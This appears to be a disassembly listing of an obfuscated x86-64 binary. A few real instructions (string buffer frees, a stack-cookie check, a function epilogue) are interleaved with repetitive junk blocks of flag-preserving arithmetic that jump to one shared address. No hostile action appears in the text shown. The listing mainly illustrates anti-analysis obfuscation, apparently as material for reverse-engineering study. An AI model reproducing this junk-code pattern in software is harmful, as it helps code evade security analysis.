mov eax, 0xca8cf38a
pushf
not eax
add eax, 0x84578877
xor eax, 0xf8d0520d
rol eax, 0x58
popf
pushf
not eax
add eax, 0xe5e47573
xor eax, 0x938b2b40
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xdb8ba66d
xor eax, 0xa60612ab
rol eax, 0x66
popf
pushf
not eax
add eax, 0xd2114132
xor eax, 0xca25c7c4
rol eax, 0xcf
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xe87b6adb
pushf
not eax
add eax, 0xc5f32bc4
xor eax, 0xede7c05a
rol eax, 0x33
popf
pushf
not eax
add eax, 0xbc661597
xor eax, 0xb6e79116
rol eax, 0x50
popf
jmp 0x1401b380c
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x40]
call fcn.14028bc24
nop
lea rcx, [rbp - 0x40]
call fcn.1401bf74d
mov qword [r12 + 0x20], rax
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1401b65a3
push rax
pushf
mov eax, 0xa68d6f73
pushf
not eax
add eax, 0x842ecabd
xor eax, 0xd15ac9fc
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xcb47eeec
xor eax, 0xb30476e5
rol eax, 9
popf
pushf
not eax
add eax, 0x8279576f
xor eax, 0x91e2eab9
rol eax, 7
popf
pushf
not eax
add eax, 0xd7e4f08d
xor eax, 0x95d2c094
rol eax, 0x88
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xa4fa1d1
pushf
not eax
add eax, 0xb1fb8a43
xor eax, 0xae6ab27b
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x8c4ab93d
xor eax, 0x94c0b2a4
rol eax, 0xe
popf
pushf
not eax
add eax, 0xb47ae9e5
xor eax, 0xf3e86476
rol eax, 0x2a
popf
jmp 0x1401b380c
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b662f
push rax
pushf
mov eax, 0x705a1bfb
pushf
not eax
add eax, 0xf36468f1
xor eax, 0xed217902
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xb4056c43
xor eax, 0x85da364d
rol eax, 3
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xce149944
pushf
not eax
add eax, 0xb9db23cd
xor eax, 0xbe606a21
rol eax, 3
popf
pushf
not eax
add eax, 0xaa97b9df
xor eax, 0xfd7b3494
rol eax, 0xd1
popf
jmp 0x1401b380c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b66ae
push rax
pushf
mov eax, 0xc88de2bb
pushf
not eax
add eax, 0xd82f025c
xor eax, 0xc0bec046
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xcc86f16f
xor eax, 0xe932f495
rol eax, 0xad
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x1b1c259
pushf
not eax
add eax, 0xf6960f58
xor eax, 0xcd788111
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xc313e233
xor eax, 0xdca4682b
rol eax, 0
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0x9a50009
pushf
not eax
add eax, 0xf93f7362
xor eax, 0xc1d9e5c9
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x8673ba91
xor eax, 0xc41f5e70
rol eax, 0x60
popf
pushf
not eax
add eax, 0xd6a81f6a
xor eax, 0x9d895bcd
rol eax, 0x1f
popf
jmp 0x1401b380c
cmp qword [r12 + 0x20], 0
jne 0x1401b6767
push rax
pushf
mov eax, 0x2c107212
pushf
not eax
add eax, 0xa2bde2e3
xor eax, 0xf50af33f
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x8fc02fa4
xor eax, 0xa64f33c3
rol eax, 0xec
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xad414f68
pushf
not eax
add eax, 0x80e0ca71
xor eax, 0x9ae22082
rol eax, 0xca
popf
pushf
not eax
add eax, 0xd00d9644
xor eax, 0xda676d1e
rol eax, 0x4e
popf
jmp 0x1401b380c
mov rcx, r12
call fcn.14021a5e8
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x1401b67e0
push rax
pushf
mov eax, 0xf63dd3c5
pushf
not eax
add eax, 0xdd5809ef
xor eax, 0x91329e6c
rol eax, 0x71
popf
pushf
not eax
add eax, 0xc42a587b
xor eax, 0x9b9f6c29
rol eax, 0xa6
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x627014c8
pushf
not eax
add eax, 0x9341614b
xor eax, 0xc1943497
rol eax, 0x8c
popf
pushf
not eax
add eax, 0x8b0d1fe0
xor eax, 0xe5882aa7
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xd23d2355
xor eax, 0xbee513ac
rol eax, 0xc3
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b6897
push rax
pushf
mov eax, 0x8387033
pushf
not eax
add eax, 0x82abba0d
xor eax, 0x8bbc529f
rol eax, 0x99
popf
pushf
not eax
add eax, 0xe204c605
xor eax, 0xafba42a9
rol eax, 0x10
popf
pushf
not eax
add eax, 0xf6a8f913
xor eax, 0xdc5f7b05
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xbb8b5d09
xor eax, 0xf12260d4
rol eax, 0x85
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x14db0702
pushf
not eax
add eax, 0xf8532afc
xor eax, 0x8a81fc19
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x9ea307a0
xor eax, 0xd88d3b4a
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xbb8c3297
xor eax, 0xdaf6d571
rol eax, 0x9e
popf
jmp 0x1401b380c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b694f
push rax
pushf
mov eax, 0x82d21e8
pushf
not eax
add eax, 0xa9c94db1
xor eax, 0xa95fbb49
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xedbf4d26
xor eax, 0x8274379e
rol eax, 0x49
popf
pushf
not eax
add eax, 0xdf626c1b
xor eax, 0x9f1734c3
rol eax, 8
popf
pushf
not eax
add eax, 0x84e3b9a9
xor eax, 0xd562b533
rol eax, 0x4b
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x2b3cf59f
pushf
not eax
add eax, 0xffe2aa8e
xor eax, 0xd3089ec0
rol eax, 0x11
popf
pushf
not eax
add eax, 0xe1a2b99f
xor eax, 0xaf13bbf4
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xf1465e85
xor eax, 0xe01af1ac
rol eax, 0x56
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0x55579efd
pushf
not eax
add eax, 0xbe9fd6ed
xor eax, 0x87fc3368
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xc5729853
xor eax, 0xa376e881
rol eax, 0x3c
popf
jmp 0x1401b380c
xor esi, esi
jmp 0x1401b5eb6
mov edi, dword [r12 + 8]
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x1401b6a82
push rax
pushf
mov eax, 0x4b3fbe1f
pushf
not eax
add eax, 0x84cce98d
xor eax, 0xfc008478
rol eax, 0x43
popf
pushf
not eax
add eax, 0x8e9a22e4
xor eax, 0xb3c74da5
rol eax, 0x18
popf
pushf
not eax
add eax, 0xbba04400
xor eax, 0xfb1745af
rol eax, 0xb
popf
pushf
not eax
add eax, 0x822bea2e
xor eax, 0xb93e2ba0
rol eax, 0xc0
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xa3295b60
pushf
not eax
add eax, 0xc1baabba
xor eax, 0x8d543612
rol eax, 0x30
popf
pushf
not eax
add eax, 0xa1d61270
xor eax, 0xcecf4ea2
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xa9b4036d
xor eax, 0xe9902618
rol eax, 0xbb
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b6b13
push rax
pushf
mov eax, 0xf3114c80
pushf
not eax
add eax, 0xf041e302
xor eax, 0x9117a698
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xea0fc94e
xor eax, 0x8f01fd47
rol eax, 0xd4
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xed8df6ef
pushf
not eax
add eax, 0xc517ce25
xor eax, 0xef67d7c0
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xb2ac0391
xor eax, 0xab3bfbf7
rol eax, 0xa2
popf
jmp 0x1401b380c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b6b92
push rax
pushf
mov eax, 0xf469b8fd
pushf
not eax
add eax, 0xec5605eb
xor eax, 0xc97103af
rol eax, 0x57
popf
pushf
not eax
add eax, 0x8329a780
xor eax, 0xe61a58d8
rol eax, 0xec
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x3a97c274
pushf
not eax
add eax, 0x916cca17
xor eax, 0xc4e3d19b
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xea6c5b88
xor eax, 0xa3ee9528
rol eax, 0x18
popf
pushf
not eax
add eax, 0xd2a0df21
xor eax, 0x8f1e22f3
rol eax, 0x7d
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0xb88d0f4
pushf
not eax
add eax, 0xd520deb5
xor eax, 0x96ac5f71
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x81f0500c
xor eax, 0xe8d22d91
rol eax, 0x17
popf
pushf
not eax
add eax, 0x889bd427
xor eax, 0xdbc80218
rol eax, 0x56
popf
pushf
not eax
add eax, 0xbc03bd38
xor eax, 0xb2deb2a9
rol eax, 0x82
popf
jmp 0x1401b380c
xor esi, esi
push rax
pushf
mov eax, 0x9787a6b3
pushf
not eax
add eax, 0x97b0bc56
xor eax, 0x94a78c8d
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xb3f8aa05
xor eax, 0x81998061
rol eax, 0xff
popf
jmp 0x1401b380c
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x20], 7
mov word [rbp + 8], si
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x1401b6cbd
push rax
pushf
mov eax, 0xda0d520e
pushf
not eax
add eax, 0xb3c0a8e7
xor eax, 0xaf509f72
rol eax, 0x21
popf
pushf
not eax
add eax, 0xa133615b
xor eax, 0xb36bcc26
rol eax, 0x7d
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x3ee84407
pushf
not eax
add eax, 0xdb3486b7
xor eax, 0xc3757bd1
rol eax, 0x95
popf
pushf
not eax
add eax, 0xbce3ed8e
xor eax, 0x9b7484ad
rol eax, 0xea
popf
pushf
not eax
add eax, 0xd1992c1a
xor eax, 0xb23c405b
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xb7b095f9
xor eax, 0x9ad3286a
rol eax, 0xa6
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1401b6d5d
push rax
pushf
mov eax, 0x70b7d8af
pushf
not eax
add eax, 0xb05ba3f2
xor eax, 0xab4e56d7
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x824f2814
xor eax, 0xa3004e3a
rol eax, 0x67
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x74b53f2a
pushf
not eax
add eax, 0xb4866eec
xor eax, 0xc898d7a6
rol eax, 0x74
popf
pushf
not eax
add eax, 0xc9809ebc
xor eax, 0xdf71cac8
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xf272b80e
xor eax, 0xcb2e62d2
rol eax, 0x17
popf
pushf
not eax
add eax, 0x99822c8b
xor eax, 0xac86dbe1
rol eax, 0xad
popf
jmp 0x1401b380c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1401b6dfe
push rax
pushf
mov eax, 0xd1ce07ea
pushf
not eax
add eax, 0xefe7f1ac
xor eax, 0xe099ed5b
rol eax, 0x24
popf
pushf
not eax
add eax, 0x9e54d7e4
xor eax, 0xb65c4e34
rol eax, 0x13
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x717f4759
pushf
not eax
add eax, 0xb5237020
xor eax, 0xfe9020cf
rol eax, 0x47
popf
pushf
not eax
add eax, 0xa9e8f37e
xor eax, 0x9f8fa4da
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xbaecd3df
xor eax, 0xf68c1a26
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x8273944d
xor eax, 0xe46633e0
rol eax, 0x12
popf
jmp 0x1401b380c
mov rcx, r8
push rax
pushf
mov eax, 0x3ebba69
pushf
not eax
add eax, 0xa955fcd6
xor eax, 0x8c2759f2
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xc2bdd3e7
xor eax, 0xd1736f7a
rol eax, 0x5c
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0xfeba60d7
pushf
not eax
add eax, 0x87f0bd18
xor eax, 0x978efb27
rol eax, 0x80
popf
pushf
not eax
add eax, 0x9b309829
xor eax, 0x85262277
rol eax, 0x84
popf
pushf
not eax
add eax, 0xadbe6b4e
xor eax, 0x87336548
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xec030954
xor eax, 0xa9b03561
rol eax, 0xcb
popf
jmp 0x1401b380c
mov word [rbx], si
mov qword [rbx + 0x10], rsi
mov eax, edi
mov qword [rbx + 0x18], 7
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.1402ac965
mov rbx, qword [rsp + 0x180]
add rsp, 0x130
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1401f095d
nop
push rax
pushf
mov eax, 0x46b8068c
pushf
not eax
add eax, 0x95f2408e
xor eax, 0xa0d610dc
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x8d0f944d
xor eax, 0x86fd7a2a
rol eax, 0x93
popf
pushf
not eax
add eax, 0xc24b07a2
xor eax, 0xa15e40de
rol eax, 0x5f
popf
jmp 0x1401b380c
call fcn.1401f095d
nop
push rax
pushf
mov eax, 0x59445176
pushf
not eax
add eax, 0xe364a1a3
xor eax, 0xb2b63ab0
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xdcd7e3a2
xor eax, 0x8023ed05
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x8e7276b5
xor eax, 0xa607e59f
rol eax, 0xb8
popf
jmp 0x1401b380c
call fcn.1401f095d
int3
call fcn.1401f095d
int3
call fcn.1401f095d
int3